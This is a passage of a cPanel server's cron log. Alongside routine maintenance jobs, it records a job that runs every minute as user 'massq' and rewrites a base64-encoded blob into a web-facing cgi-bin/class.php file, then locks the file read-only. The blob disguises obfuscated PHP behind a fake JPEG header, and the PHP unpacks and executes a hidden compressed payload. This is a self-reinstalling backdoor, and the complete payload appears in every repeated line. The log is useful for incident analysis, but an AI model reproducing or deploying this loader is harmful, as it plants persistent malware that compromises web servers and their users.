cC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:27:01 server CROND[29456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:27:01 server CROND[29457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:27:01 server CROND[29455]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  9 03:27:01 server CROND[29458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:27:01 server CROND[29465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:28:01 server CROND[29939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:28:01 server CROND[29940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:28:01 server CROND[29941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:29:01 server CROND[30326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:29:01 server CROND[30327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:29:01 server CROND[30328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:30:01 server CROND[30706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:30:01 server CROND[30707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:30:01 server CROND[30712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:30:01 server CROND[30718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:30:01 server CROND[30724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:30:01 server CROND[30730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:30:01 server CROND[30729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:30:01 server CROND[30733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:31:01 server CROND[31548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:31:01 server CROND[31549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:31:01 server CROND[31550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:32:01 server CROND[32079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:32:01 server CROND[32080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:32:01 server CROND[32081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:33:01 server CROND[521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:33:01 server CROND[522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:33:01 server CROND[523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:34:01 server CROND[1470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:34:01 server CROND[1471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:34:01 server CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:35:01 server CROND[2135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:35:01 server CROND[2137]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:35:01 server CROND[2138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:35:01 server CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:35:01 server CROND[2142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:35:01 server CROND[2143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:35:01 server CROND[2144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:35:01 server CROND[2146]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:35:01 server CROND[2145]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 03:36:01 server CROND[3259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:36:01 server CROND[3260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:36:01 server CROND[3261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:37:02 server CROND[3645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:37:02 server CROND[3646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:37:02 server CROND[3647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:38:01 server CROND[4108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:38:01 server CROND[4109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:38:01 server CROND[4110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
